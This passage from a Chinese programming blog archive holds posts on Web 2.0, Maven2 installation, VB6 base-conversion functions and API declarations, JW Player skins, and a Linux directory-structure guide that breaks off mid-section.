摘要: 上次出去幫一個朋友的朋友給一個原有的.net項目添加一個新的功能模塊。結果,很傷,原因很簡單,由于我對dotnet的工作機理想當然,個人觀點占據上風,導致在初期設計的時候就走上了一天錯誤的道路,郁悶了很長一段時間,決定花一定時間去真正理解一些更底層,更基礎的東西。現在忽然發現自己在過去很長的一段時間有些舍本逐末了,檢討~~~~
這...
閱讀全文
posted @
2009-05-27 11:38 moonandsun 閱讀(416) |
評論 (0) |
編輯 收藏
web2.0這個名詞不止一次的在我眼前出現,有時候由于它的出現過于頻繁,以至于我還沒來得及去想,已漸漸的在內心中接受了這個名詞。初識web2.0是在去年,具體什么時候已記不太清楚,當初我腦海中的web2.0和我現在的認識不盡相同,我當時的認識只是web2.0的一個方面,甚至可以說與我們所說的web2.0不相關。當時我和我的幾個師兄在一起做一個web項目,當然他們常常會提到web2.0標準,起初我不是很理解,當然現在也依然模糊。從網上在了點資料。網上如是說:WEB2.0標準不是某一個標準,而是一系列標準的集合。網頁主要由三部分組成:結構(Structure)、表現(Presentation)和行為(Behavior)。對應的標準也分三方面:結構化標準語言主要包括XHTML和XML,表現標準語言主要包括CSS,行為標準主要包括對象模型(如W3C DOM)、ECMAScript等。這些標準大部分由W3C起草和發布,也有一些是其他標準組織制訂的標準,比如ECMA(European Computer Manufacturers Association)的ECMAScript標準。恍然大明白,原來自己在很長一段時間都在為web2.0標準努力。不由暗暗自喜。后來,每次上網,看雜志(尤其程序員),看報紙(電腦報),web2.0的字眼是滿天飛。既然自己要考研,并且準備在計算機方面發展,我認為有必要了解web2.0。
web2.0是相對于web1.0來說的. 首先就易用性和交互性方面來說,Web1.0里,互聯網內容是由少數編輯人員(或站長)定制的,比如搜狐;而在Web2.0里,每個人都是內容的供稿者。標由于web2.0主張多然參與,所以互聯網內容也更加豐富和多樣化,同時web2.0采用了標簽(tag),多媒體技術,rss訂閱,在線協作等功能,用戶在使用互聯網的過程也更方便、快捷。就我的一個上網習慣來說,我關注最多的是IT技術方面的發展,一般我經常去csdn,cnblogs,itpub等網站,以前我看文章都是一個網站一個網站的打開,有時候發現某個人的博客很適合自己的口味,于是想關注這位博主的最新動態,于是收藏的網址越來越多,每天想把自己關注的事情看一遍很費時間。現在可不一樣了,發現自己的喜歡網站或博客,訂閱到自己的google reader中,每天上網第一件事,打開google reader,有什么最新新聞,最新動態一目了然。都是互聯網提供的便利啊。
其次,web2.0相對于web1.0來說更突出人的作用,在互聯網的新時代,信息是由每個人貢獻出來的。各個人共同組成互聯網信息源。Web2.0的靈魂是人。同是,為了更好的發揮“人”的作用,web2.0的形式也更多樣化,出現了各種各樣的互聯網服務,例如博客、威客、播客、維基、P2P下載、社區、分享服務等等。是“人”能夠從互聯網上得到不同程度上的滿足。現如今,用戶即所謂的“人”所產生的信息在互聯網內容中所占的比重越來越大,而且隨著web2.0的發展,這一趨勢還會不斷加強。web2.0為所有互聯網用戶提供了一個展示自我和自我實現的平臺。而且隨著互聯網技術的發展,web2.0在生活信息化、辦公信息化方面的作用也會一步步提升,是人們的生活、學習、工作更加便捷和輕松。
總之,web2.0從某種程度上改變了人們的生活。
posted @
2009-05-20 21:14 moonandsun 閱讀(163) |
評論 (0) |
編輯 收藏
好長一段時間沒有寫日志,生活在繁忙中迷茫了一段,細細想來也不知道都干了些什么,于技術方面更是毫無長進,靜下心來下篇文章,安撫一下浮躁的心靈。
現在開始Maven2的學習。
第一步不用說,下載Maven2,以待安裝。
其實我們有必要了解Maven2到底是一個干么的東西,要使用它首先得知道它是干么的。
先看看ReadMe.txt
What is it?
-----------
Maven is a software project management and comprehension tool. Based on
the concept of a Project Object Model (POM), Maven can manage a project's
build, reporting and documentation from a central piece of information.
now we got it .it is a tool which can manage and comprehend our project .
系統需求,一般我們都能達到,忽略。
System Requirements
-------------------
JDK:
1.4 or above (this is to execute Maven - it still allows you to build against 1.3
and prior JDK's).
Memory:
No minimum requirement.
Disk:
No minimum requirement. Approximately 100MB will be used for your local repository,
however this will vary depending on usage and can be removed and redownloaded at
any time.
Operating System:
No minimum requirement. On Windows, Windows NT and above or Cygwin is required for
the startup scripts. Tested on Windows XP, Fedora Core and Mac OS X.s
下一步,安裝。我建議看看文檔。
Installing Maven
----------------
1) Unpack the archive where you would like to store the binaries, eg:
Unix-based Operating Systems (Linux, Solaris and Mac OS X)
tar zxvf apache-maven-2.0.x.tar.gz
Windows 2000/XP
unzip apache-maven-2.0.x.zip
2) A directory called "apache-maven-2.0.x" will be created.
3) Add the bin directory to your PATH, eg:
Unix-based Operating Systems (Linux, Solaris and Mac OS X)
export PATH=/usr/local/apache-maven-2.0.x/bin:$PATH
Windows 2000/XP
set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH%
4) Make sure JAVA_HOME is set to the location of your JDK
我用的是winXP,看這句就可以了。
set PATH="c:\program files\apache-maven-2.0.x\bin";%PATH%
其中 “c:\program files\apache-maven-2.0.x\bin”為maven2解壓路徑。
最后一步測試一下是否成功。
5) Run "mvn --version" to verify that it is correctly installed.

OK,it works~~~
posted @
2009-05-05 22:10 moonandsun 閱讀(222) |
評論 (0) |
編輯 收藏
十進制,八進制,十六進制,二進制相互轉換
' 用途:將十進制轉化為二進
' 輸入:Dec(十進制數)
' 輸入數據類型:Long
' 輸出:DEC_to_BIN(二進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647,輸出最大數為1111111111111111111111111111111(31個1)
Public Function DEC_to_BIN(Dec As Long) As String
DEC_to_BIN = ""
Do While Dec > 0
DEC_to_BIN = Dec Mod 2 & DEC_to_BIN
Dec = Dec \ 2
Loop
End Function
' 用途:將二進制轉化為十進制
' 輸入:Bin(二進制數)
' 輸入數據類型:String
' 輸出:BIN_to_DEC(十進制數)
' 輸出數據類型:Long
' 輸入的最大數為1111111111111111111111111111111(31個1),輸出最大數為2147483647
Public Function BIN_to_DEC(ByVal Bin As String) As Long
Dim i As Long
For i = 1 To Len(Bin)
BIN_to_DEC = BIN_to_DEC * 2 + Val(Mid(Bin, i, 1))
Next i
End Function
' 用途:將十六進制轉化為二進制
' 輸入:Hex(十六進制數)
' 輸入數據類型:String
' 輸出:HEX_to_BIN(二進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function HEX_to_BIN(ByVal Hex As String) As String
Dim i As Long
Dim B As String
Hex = UCase(Hex)
For i = 1 To Len(Hex)
Select Case Mid(Hex, i, 1)
Case "0": B = B & "0000"
Case "1": B = B & "0001"
Case "2": B = B & "0010"
Case "3": B = B & "0011"
Case "4": B = B & "0100"
Case "5": B = B & "0101"
Case "6": B = B & "0110"
Case "7": B = B & "0111"
Case "8": B = B & "1000"
Case "9": B = B & "1001"
Case "A": B = B & "1010"
Case "B": B = B & "1011"
Case "C": B = B & "1100"
Case "D": B = B & "1101"
Case "E": B = B & "1110"
Case "F": B = B & "1111"
End Select
Next i
While Left(B, 1) = "0"
B = Right(B, Len(B) - 1)
Wend
HEX_to_BIN = B
End Function
' 用途:將二進制轉化為十六進制
' 輸入:Bin(二進制數)
' 輸入數據類型:String
' 輸出:BIN_to_HEX(十六進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function BIN_to_HEX(ByVal Bin As String) As String
Dim i As Long
Dim H As String
If Len(Bin) Mod 4 <> 0 Then
Bin = String(4 - Len(Bin) Mod 4, "0") & Bin
End If
For i = 1 To Len(Bin) Step 4
Select Case Mid(Bin, i, 4)
Case "0000": H = H & "0"
Case "0001": H = H & "1"
Case "0010": H = H & "2"
Case "0011": H = H & "3"
Case "0100": H = H & "4"
Case "0101": H = H & "5"
Case "0110": H = H & "6"
Case "0111": H = H & "7"
Case "1000": H = H & "8"
Case "1001": H = H & "9"
Case "1010": H = H & "A"
Case "1011": H = H & "B"
Case "1100": H = H & "C"
Case "1101": H = H & "D"
Case "1110": H = H & "E"
Case "1111": H = H & "F"
End Select
Next i
While Left(H, 1) = "0"
H = Right(H, Len(H) - 1)
Wend
BIN_to_HEX = H
End Function
' 用途:將十六進制轉化為十進制
' 輸入:Hex(十六進制數)
' 輸入數據類型:String
' 輸出:HEX_to_DEC(十進制數)
' 輸出數據類型:Long
' 輸入的最大數為7FFFFFFF,輸出的最大數為2147483647
Public Function HEX_to_DEC(ByVal Hex As String) As Long
Dim i As Long
Dim B As Long
Hex = UCase(Hex)
For i = 1 To Len(Hex)
Select Case Mid(Hex, Len(Hex) - i + 1, 1)
Case "0": B = B + 16 ^ (i - 1) * 0
Case "1": B = B + 16 ^ (i - 1) * 1
Case "2": B = B + 16 ^ (i - 1) * 2
Case "3": B = B + 16 ^ (i - 1) * 3
Case "4": B = B + 16 ^ (i - 1) * 4
Case "5": B = B + 16 ^ (i - 1) * 5
Case "6": B = B + 16 ^ (i - 1) * 6
Case "7": B = B + 16 ^ (i - 1) * 7
Case "8": B = B + 16 ^ (i - 1) * 8
Case "9": B = B + 16 ^ (i - 1) * 9
Case "A": B = B + 16 ^ (i - 1) * 10
Case "B": B = B + 16 ^ (i - 1) * 11
Case "C": B = B + 16 ^ (i - 1) * 12
Case "D": B = B + 16 ^ (i - 1) * 13
Case "E": B = B + 16 ^ (i - 1) * 14
Case "F": B = B + 16 ^ (i - 1) * 15
End Select
Next i
HEX_to_DEC = B
End Function
' 用途:將十進制轉化為十六進制
' 輸入:Dec(十進制數)
' 輸入數據類型:Long
' 輸出:DEC_to_HEX(十六進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647,輸出最大數為7FFFFFFF
Public Function DEC_to_HEX(Dec As Long) As String
Dim a As String
DEC_to_HEX = ""
Do While Dec > 0
a = CStr(Dec Mod 16)
Select Case a
Case "10": a = "A"
Case "11": a = "B"
Case "12": a = "C"
Case "13": a = "D"
Case "14": a = "E"
Case "15": a = "F"
End Select
DEC_to_HEX = a & DEC_to_HEX
Dec = Dec \ 16
Loop
End Function
' 用途:將十進制轉化為八進制
' 輸入:Dec(十進制數)
' 輸入數據類型:Long
' 輸出:DEC_to_OCT(八進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647,輸出最大數為17777777777
Public Function DEC_to_OCT(Dec As Long) As String
DEC_to_OCT = ""
Do While Dec > 0
DEC_to_OCT = Dec Mod 8 & DEC_to_OCT
Dec = Dec \ 8
Loop
End Function
' 用途:將八進制轉化為十進制
' 輸入:Oct(八進制數)
' 輸入數據類型:String
' 輸出:OCT_to_DEC(十進制數)
' 輸出數據類型:Long
' 輸入的最大數為17777777777,輸出的最大數為2147483647
Public Function OCT_to_DEC(ByVal Oct As String) As Long
Dim i As Long
Dim B As Long
For i = 1 To Len(Oct)
Select Case Mid(Oct, Len(Oct) - i + 1, 1)
Case "0": B = B + 8 ^ (i - 1) * 0
Case "1": B = B + 8 ^ (i - 1) * 1
Case "2": B = B + 8 ^ (i - 1) * 2
Case "3": B = B + 8 ^ (i - 1) * 3
Case "4": B = B + 8 ^ (i - 1) * 4
Case "5": B = B + 8 ^ (i - 1) * 5
Case "6": B = B + 8 ^ (i - 1) * 6
Case "7": B = B + 8 ^ (i - 1) * 7
End Select
Next i
OCT_to_DEC = B
End Function
' 用途:將二進制轉化為八進制
' 輸入:Bin(二進制數)
' 輸入數據類型:String
' 輸出:BIN_to_OCT(八進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function BIN_to_OCT(ByVal Bin As String) As String
Dim i As Long
Dim H As String
If Len(Bin) Mod 3 <> 0 Then
Bin = String(3 - Len(Bin) Mod 3, "0") & Bin
End If
For i = 1 To Len(Bin) Step 3
Select Case Mid(Bin, i, 3)
Case "000": H = H & "0"
Case "001": H = H & "1"
Case "010": H = H & "2"
Case "011": H = H & "3"
Case "100": H = H & "4"
Case "101": H = H & "5"
Case "110": H = H & "6"
Case "111": H = H & "7"
End Select
Next i
While Left(H, 1) = "0"
H = Right(H, Len(H) - 1)
Wend
BIN_to_OCT = H
End Function
' 用途:將八進制轉化為二進制
' 輸入:Oct(八進制數)
' 輸入數據類型:String
' 輸出:OCT_to_BIN(二進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function OCT_to_BIN(ByVal Oct As String) As String
Dim i As Long
Dim B As String
For i = 1 To Len(Oct)
Select Case Mid(Oct, i, 1)
Case "0": B = B & "000"
Case "1": B = B & "001"
Case "2": B = B & "010"
Case "3": B = B & "011"
Case "4": B = B & "100"
Case "5": B = B & "101"
Case "6": B = B & "110"
Case "7": B = B & "111"
End Select
Next i
While Left(B, 1) = "0"
B = Right(B, Len(B) - 1)
Wend
OCT_to_BIN = B
End Function
' 用途:將八進制轉化為十六進制
' 輸入:Oct(八進制數)
' 輸入數據類型:String
' 輸出:OCT_to_HEX(十六進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function OCT_to_HEX(ByVal Oct As String) As String
Dim Bin As String
Bin = OCT_to_BIN(Oct)
OCT_to_HEX = BIN_to_HEX(Bin)
End Function
' 用途:將十六進制轉化為八進制
' 輸入:Hex(十六進制數)
' 輸入數據類型:String
' 輸出:HEX_to_OCT(八進制數)
' 輸出數據類型:String
' 輸入的最大數為2147483647個字符
Public Function HEX_to_OCT(ByVal Hex As String) As String
Dim Bin As String
Hex = UCase(Hex)
Bin = HEX_to_BIN(Hex)
HEX_to_OCT = BIN_to_OCT(Bin)
End Function
VB自帶函數:
十進制轉八進制:Oct(num)
十六進制轉八進制:oct("&H" & num)
十進制轉十六進制:hex(num)
八進制轉十六進制:hex("&O" & num)
十六進制轉換為十進制
Dim str As String
str = Text2.Text
Text10.Text = CLng("&H" & str)
文章出處:http://blog.programfan.com/article.asp?id=11903
感謝作者的無私奉獻、、、、
posted @
2009-03-29 10:57 moonandsun 閱讀(1462) |
評論 (0) |
編輯 收藏
一、在VB中聲明API函數有兩種方法:如果我們只在某個窗體中使用API函數,我們可以在窗體代碼的General部分聲明它:
聲明的語法是:
Private Declare Function ...
Private Declare Sub.....
這里必須采用Private聲明,因為這個API函數只能被一個窗體內的程序所調用。
如果我們的程序有多個窗體構成,而且我們需要在多個窗體中使用同一個API函數,就需要在模塊中聲明了。
先添加一個模塊(如圖示),
然后采用如下語法聲明:
Public Declare Function....
Public Declare Sub....
Public聲明的含義是把API函數作為一個公共函數或過程,在一個工程中的任何位置(包括所有的窗體和模塊)都能直接調用它。 聲明完畢我們就能在程序中使用此API函數了。
二、可采用以下幾種方式使用API函數,以SetWindowPos函數為例:
(1)忽略函數返回值的調用:
SetWindowPos Form1.hWnd, -2 ,0 ,0 ,0, 0, 3
注意此時函數的參數是不加括號的。
(2)Call方法調用:
Call SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)
注意這里需要加上括號,但我們不取回函數的返回值。
(3)取得函數返回值的調用:
MyLng = SetWindowPos(Form1.hWnd, -2, 0, 0, 0, 3)
此時需要加上括號,而且我們必須事先定義一個變量(變量的類型與函數返回值類型相同)來
存儲API函數的返回值。
三、幾個問題的說明:
(1)聲明中的Lib 和 Alias 是怎么回事
一般情況下WIN32API函數總是包含在WINDOWS系統自帶的或是其它公司提供的動態連接庫DLL中,而Declare語句中的Lib關鍵字就用來指定DLL(動態連接庫)文件的路徑,這樣VB才能找到這個DLL文件,然后才能使用其中的API函數。如果我們只是列出DLL文件名而不指出其完整的路徑的話,VB會自動到.EXE文件所在目錄、當前工作目錄、WINDOWS\SYSTEM目錄、WINDOWS目錄下搜尋這個DLL文件。所以如果所要使用DLL文件不在上述幾個目錄下的話,我們應該指明其完整路徑。
Alias用于指定API函數的別名,如果我們調用的API函數要使用字符串(參數中包含String型)的話,Alias關鍵字是必須的。這是因為在ANSI和Unicode字符集中同一API函數的名稱可能是不一樣的,為了保證不出現聲明錯誤,我們使用Alias關鍵字指出API函數的別名,一般來說在WIN9X平臺下我們把API函數名后加一個大寫A作為別名即可。
(2)常見的API參數類型的說明
API函數的參數中最常見的是長整Long型數據類型,例如API中的句柄、一些特定的常量、函數的返回值都是此類型 的值;另外幾種常見的參數類型有:整型Integer、Byte型、String型等。
(3)聲明中的ByVal是作什么用的
這跟VB的參數傳遞方式有關,在默認情況下VB是通過地址傳遞方式傳遞函數的參數、而有些API函數要求必須采用傳值方式來傳遞函數參數(這兩種參數傳遞方式是不同的,前者傳遞的是一個指針,而后者要求是參數真實的值)。這樣就會發生錯誤,解決的辦法是在API函數參數聲明的前面加上ByVal關鍵字,這樣VB就采用傳值方式傳遞參數了。
(4)怎樣得到完整的API函數聲明
VB自帶了API文本查看器API TEXT VIEWER,我們可以在其中找到API函數的完整聲明,然后把它粘貼到程序中即可。
原文地址:http://www.enet.com.cn/article/2004/0312/A20040312293927.shtml
posted @
2009-03-28 16:46 moonandsun 閱讀(157) |
評論 (0) |
編輯 收藏
現行的網絡上,視頻播放器很多(嵌在網頁中那種),flv播放器更是不少,但支持rtmp協議的播放器可是不好找啊。雖然也有,但樣式單一,好看的不多。
一直以來苦苦尋覓一個漂亮的flv視頻播放器(嵌在網頁中那種)。好幾個月過去了,一直沒有結果。后來就把這事放到一邊去了,沒有再去理會。
后來一直就用一個叫Vcastr2.0 的播放器,播放器為黑色,整體感覺還是不錯的,但可供定制的選項不是很多。
再后來我發現了JW player ,官方網站:http://www.longtailvideo.com/ ,它的可定制性比較強,甚至在官網上我們可以直接設計出自己喜歡的播放器樣式,但無論你怎樣設置整體外形還是不變的(其實我看不好的就是這個播放器的外形)。所以這中播放器在那是我是看不上的。
時代在發展啊,當然JW player也一天天悄無聲息的進步著,今天我無意瀏覽到了JW player官網,幾個月不見,小子出息里,它既然也能夠換皮膚了,官方為我們提供了各種各樣的皮膚下載:http://www.longtailvideo.com/addons/skins 。
posted @
2009-03-12 11:50 moonandsun 閱讀(395) |
評論 (1) |
編輯 收藏
linux下的文件結構及其作用:
/bin 二進制可執行命令
/dev 設備特殊文件
/etc 系統管理和配置文件
/etc/rc.d 啟動的配置文件和腳本
/home 用戶主目錄的基點,比如用戶user的主目錄就是/home/user,可以用~user表示
/lib 標準程序設計庫,又叫動態鏈接共享庫,作用類似windows里的.dll文件
/sbin 系統管理命令,這里存放的是系統管理員使用的管理程序
/tmp 公用的臨時文件存儲點
/root 系統管理員的主目錄(呵呵,特權階級)
/mnt 系統提供這個目錄是讓用戶臨時掛載其他的文件系統。
/lost+found 這個目錄平時是空的,系統非正常關機而留下“無家可歸”的文件(windows下叫什么.chk)就在這里
/proc 虛擬的目錄,是系統內存的映射。可直接訪問這個目錄來獲取系統信息。
/var 某些大文件的溢出區,比方說各種服務的日志文件
/usr 最龐大的目錄,要用到的應用程序和文件幾乎都在這個目錄。其中包含:
/usr/x11r6 存放x window的目錄
/usr/bin 眾多的應用程序
/usr/sbin 超級用戶的一些管理程序
/usr/doc linux文檔
/usr/include linux下開發和編譯應用程序所需要的頭文件
/usr/lib 常用的動態鏈接庫和軟件包的配置文件
/usr/man 幫助文檔
/usr/src 源代碼,linux內核的源代碼就放在/usr/src/linux里
/usr/local/bin 本地增加的命令
/usr/local/lib 本地增加的庫
通常情況下,根文件系統所占空間一般應該比較小,因為其中的絕大部分文件都不需要
經常改動,而且包括嚴格的文件和一個小的不經常改變的文件系統不容易損壞。
除了可能的一個叫/ v m l i n u z標準的系統引導映像之外,根目錄一般不含任何文件。所有
其他文件在根文件系統的子目錄中。
1. /bin目錄
/ b i n目錄包含了引導啟動所需的命令或普通用戶可能用的命令(可能在引導啟動后)。這些
命令都是二進制文件的可執行程序( b i n是b i n a r y - -二進制的簡稱),多是系統中重要的系統文件。
2. /sbin目錄
/ s b i n目錄類似/bin ,也用于存儲二進制文件。因為其中的大部分文件多是系統管理員使
用的基本的系統程序,所以雖然普通用戶必要且允許時可以使用,但一般不給普通用戶使用。
3. /etc目錄
/ e t c目錄存放著各種系統配置文件,其中包括了用戶信息文件/ e t c / p a s s w d,系統初始化文
件/ e t c / r c等。l i n u x正是*這些文件才得以正常地運行。
4. /root目錄
/root 目錄是超級用戶的目錄。
5. /lib目錄
/ l i b目錄是根文件系統上的程序所需的共享庫,存放了根文件系統程序運行所需的共享文
件。這些文件包含了可被許多程序共享的代碼,以避免每個程序都包含有相同的子程序的副
本,故可以使得可執行文件變得更小,節省空間。
6. /lib/modules 目錄
/lib/modules 目錄包含系統核心可加載各種模塊,尤其是那些在恢復損壞的系統時重新引
導系統所需的模塊(例如網絡和文件系統驅動)。
7. /dev目錄
/ d e v目錄存放了設備文件,即設備驅動程序,用戶通過這些文件訪問外部設備。比如,用
戶可以通過訪問/ d e v / m o u s e來訪問鼠標的輸入,就像訪問其他文件一樣。
8. /tmp目錄
/tmp 目錄存放程序在運行時產生的信息和數據。但在引導啟動后,運行的程序最好使用
/ v a r / t m p來代替/tmp ,因為前者可能擁有一個更大的磁盤空間。
9. /boot目錄
/ b o o t目錄存放引導加載器(bootstrap loader)使用的文件,如l i l o,核心映像也經常放在這里,
而不是放在根目錄中。但是如果有許多核心映像,這個目錄就可能變得很大,這時使用單獨的
文件系統會更好一些。還有一點要注意的是,要確保核心映像必須在i d e硬盤的前1 0 2 4柱面內。
10. /mnt目錄
/ m n t目錄是系統管理員臨時安裝( m o u n t )文件系統的安裝點。程序并不自動支持安裝到
/mnt 。/mnt 下面可以分為許多子目錄,例如/mnt/dosa 可能是使用m s d o s文件系統的軟驅,
而/mnt/exta 可能是使用e x t 2文件系統的軟驅,/mnt/cdrom 光驅等等。
11. /proc, /usr,/var,/home目錄
其他文件系統的安裝點。
下面詳細介紹;
/etc文件系統
/etc 目錄包含各種系統配置文件,下面說明其中的一些。其他的你應該知道它們屬于哪個
程序,并閱讀該程序的m a n頁。許多網絡配置文件也在/etc 中。
1. /etc/rc或/etc/rc.d或/etc/rc?.d
啟動、或改變運行級時運行的腳本或腳本的目錄。
2. /etc/passwd
用戶數據庫,其中的域給出了用戶名、真實姓名、用戶起始目錄、加密口令和用戶的其
他信息。
3. /etc/fdprm
軟盤參數表,用以說明不同的軟盤格式。可用setfdprm 進行設置。更多的信息見s e t f d p r m
的幫助頁。
4. /etc/fstab
指定啟動時需要自動安裝的文件系統列表。也包括用swapon -a啟用的s w a p區的信息。
5. /etc/group
類似/etc/passwd ,但說明的不是用戶信息而是組的信息。包括組的各種數據。
6. /etc/inittab
init 的配置文件。
7. /etc/issue
包括用戶在登錄提示符前的輸出信息。通常包括系統的一段短說明或歡迎信息。具體內
容由系統管理員確定。
8. /etc/magic
“f i l e”的配置文件。包含不同文件格式的說明,“f i l e”基于它猜測文件類型。
9. /etc/motd
m o t d是message of the day的縮寫,用戶成功登錄后自動輸出。內容由系統管理員確定。
常用于通告信息,如計劃關機時間的警告等。
10. /etc/mtab
當前安裝的文件系統列表。由腳本( s c r i t p )初始化,并由mount 命令自動更新。當需要一
個當前安裝的文件系統的列表時使用(例如df 命令)。
11. /etc/shadow
在安裝了影子( s h a d o w )口令軟件的系統上的影子口令文件。影子口令文件將/ e t c / p a s s w d
文件中的加密口令移動到/ e t c / s h a d o w中,而后者只對超級用戶( r o o t )可讀。這使破譯口令更困
難,以此增加系統的安全性。
12. /etc/login.defs
l o g i n命令的配置文件。
13. /etc/printcap
類似/etc/termcap ,但針對打印機。語法不同。
14. /etc/profile 、/ e t c / c s h . l o g i n、/etc/csh.cshrc
登錄或啟動時b o u r n e或c shells執行的文件。這允許系統管理員為所有用戶建立全局缺省環境。
15. /etc/securetty
確認安全終端,即哪個終端允許超級用戶( r o o t )登錄。一般只列出虛擬控制臺,這樣就不
可能(至少很困難)通過調制解調器( m o d e m )或網絡闖入系統并得到超級用戶特權。
16. /etc/shells
列出可以使用的s h e l l。chsh 命令允許用戶在本文件指定范圍內改變登錄的s h e l l。提供一
臺機器f t p服務的服務進程ftpd 檢查用戶s h e l l是否列在/etc/shells 文件中,如果不是,將不允
許該用戶登錄。
17. /etc/termcap
終端性能數據庫。說明不同的終端用什么“轉義序列”控制。寫程序時不直接輸出轉義
序列(這樣只能工作于特定品牌的終端),而是從/etc/termcap 中查找要做的工作的正確序列。
這樣,多數的程序可以在多數終端上運行。
/dev文件系統
/dev 目錄包括所有設備的設備文件。設備文件用特定的約定命名,這在設備列表中說明。
設備文件在安裝時由系統產生,以后可以用/dev/makedev 描述。/ d e v / m a k e d e v.local 是
系統管理員為本地設備文件(或連接)寫的描述文稿(即如一些非標準設備驅動不是標準
makedev 的一部分)。下面簡要介紹/ d e v下一些常用文件。
1. /dev/console
系統控制臺,也就是直接和系統連接的監視器。
2. /dev/hd
i d e硬盤驅動程序接口。如: / d e v / h d a指的是第一個硬盤, h a d 1則是指/ d e v / h d a的第一個
分區。如系統中有其他的硬盤,則依次為/ d e v / h d b、/ d e v / h d c、. . . . . .;如有多個分區則依次為
h d a 1、h d a 2 . . . . . .
3. /dev/sd
s c s i磁盤驅動程序接口。如有系統有s c s i硬盤,就不會訪問/ d e v / h a d,而會訪問/ d e v / s d a。
4. /dev/fd
軟驅設備驅動程序。如: / d e v / f d 0指系統的第一個軟盤,也就是通常所說的a:盤,
/ d e v / f d 1指第二個軟盤,. . . . . .而/ d e v / f d 1 h 1 4 4 0則表示訪問驅動器1中的4 . 5高密盤。
5. /dev/st
s c s i磁帶驅動器驅動程序。
6. /dev/tty
提供虛擬控制臺支持。如: / d e v / t t y 1指的是系統的第一個虛擬控制臺, / d e v / t t y 2則是系統
的第二個虛擬控制臺。
7. /dev/pty
提供遠程登陸偽終端支持。在進行te l n e t登錄時就要用到/ d e v / p t y設備。
8. /dev/ttys
計算機串行接口,對于d o s來說就是“ c o m 1”口。
9. /dev/cua
計算機串行接口,與調制解調器一起使用的設備。
10. /dev/null
“黑洞”,所有寫入該設備的信息都將消失。例如:當想要將屏幕上的輸出信息隱藏起來
時,只要將輸出信息輸入到/ d e v / n u l l中即可。
/usr文件系統
/usr 是個很重要的目錄,通常這一文件系統很大,因為所有程序安裝在這里。/usr 里的
所有文件一般來自l i n u x發行版( d i s t r i b u t i o n );本地安裝的程序和其他東西在/usr/local 下,因為這樣可以在升級新版系統或新發行版時無須重新安裝全部程序。/usr 目錄下的許多內容是
可選的,但這些功能會使用戶使用系統更加有效。/ u s r可容納許多大型的軟件包和它們的配置
文件。下面列出一些重要的目錄(一些不太重要的目錄被省略了)。
1. /usr/x11r6
包含x wi n d o w系統的所有可執行程序、配置文件和支持文件。為簡化x的開發和安裝,
x的文件沒有集成到系統中。x wi n d o w系統是一個功能強大的圖形環境,提供了大量的圖形
工具程序。用戶如果對microsoft wi n d o w s或m a c h i n t o s h比較熟悉的話,就不會對x wi n d o w系統感到束手無策了。
2. /usr/x386
類似/ u s r / x 11r6 ,但是是專門給x 11 release 5的。
3. /usr/bin
集中了幾乎所有用戶命令,是系統的軟件庫。另有些命令在/bin 或/usr/local/bin 中。
4. /usr/sbin
包括了根文件系統不必要的系統管理命令,例如多數服務程序。
5. /usr/man、/ u s r / i n f o、/ u s r / d o c
這些目錄包含所有手冊頁、g n u信息文檔和各種其他文檔文件。每個聯機手冊的“節”
都有兩個子目錄。例如: / u s r / m a n / m a n 1中包含聯機手冊第一節的源碼(沒有格式化的原始文
件),/ u s r / m a n / c a t 1包含第一節已格式化的內容。l聯機手冊分為以下九節:內部命令、系統調
用、庫函數、設備、文件格式、游戲、宏軟件包、系統管理和核心程序。
6. /usr/include
包含了c語言的頭文件,這些文件多以. h結尾,用來描述c語言程序中用到的數據結構、
子過程和常量。為了保持一致性,這實際上應該放在/usr/lib 下,但習慣上一直沿用了這個名
字。
7. /usr/lib
包含了程序或子系統的不變的數據文件,包括一些s i t e - w i d e配置文件。名字l i b來源于庫
(library); 編程的原始庫也存在/usr/lib 里。當編譯程序時,程序便會和其中的庫進行連接。也
有許多程序把配置文件存入其中。
8. /usr/local
本地安裝的軟件和其他文件放在這里。這與/ u s r很相似。用戶可能會在這發現一些比較大
的軟件包,如t e x、e m a c s等。
/var文件系統
/var 包含系統一般運行時要改變的數據。通常這些數據所在的目錄的大小是要經常變化
或擴充的。原來/ v a r目錄中有些內容是在/ u s r中的,但為了保持/ u s r目錄的相對穩定,就把那
些需要經常改變的目錄放到/ v a r中了。每個系統是特定的,即不通過網絡與其他計算機共享。
下面列出一些重要的目錄(一些不太重要的目錄省略了)。
1. /var/catman
包括了格式化過的幫助( m a n )頁。幫助頁的源文件一般存在/ u s r / m a n / m a n中;有些m a n頁
可能有預格式化的版本,存在/ u s r / m a n / c a t中。而其他的m a n頁在第一次看時都需要格式化,
格式化完的版本存在/var/man 中,這樣其他人再看相同的頁時就無須等待格式化了。
(/var/catman 經常被清除,就像清除臨時目錄一樣。)
2. /var/lib
存放系統正常運行時要改變的文件。
3. /var/local
存放/usr/local 中安裝的程序的可變數據(即系統管理員安裝的程序)。注意,如果必要,
即使本地安裝的程序也會使用其他/var 目錄,例如/var/lock 。
4. /var/lock
鎖定文件。許多程序遵循在/var/lock 中產生一個鎖定文件的約定,以用來支持他們正在
使用某個特定的設備或文件。其他程序注意到這個鎖定文件時,就不會再使用這個設備或文
件。
5. /var/log
各種程序的日志( l o g )文件,尤其是login (/var/log/wtmp log紀錄所有到系統的登錄和注
銷) 和syslog (/var/log/messages 紀錄存儲所有核心和系統程序信息)。/var/log 里的文件經常不
確定地增長,應該定期清除。
6. /var/run
保存在下一次系統引導前有效的關于系統的信息文件。例如, /var/run/utmp 包含當前登
錄的用戶的信息。
7. /var/spool
放置“假脫機( s p o o l )”程序的目錄,如m a i l、n e w s、打印隊列和其他隊列工作的目錄。每
個不同的s p o o l在/var/spool 下有自己的子目錄,例如,用戶的郵箱就存放在/var/spool/mail 中。
8. /var/tmp
比/tmp 允許更大的或需要存在較長時間的臨時文件。
注意系統管理員可能不允許/var/tmp 有很舊的文件。
/proc文件系統
/proc 文件系統是一個偽的文件系統,就是說它是一個實際上不存在的目錄,因而這是一
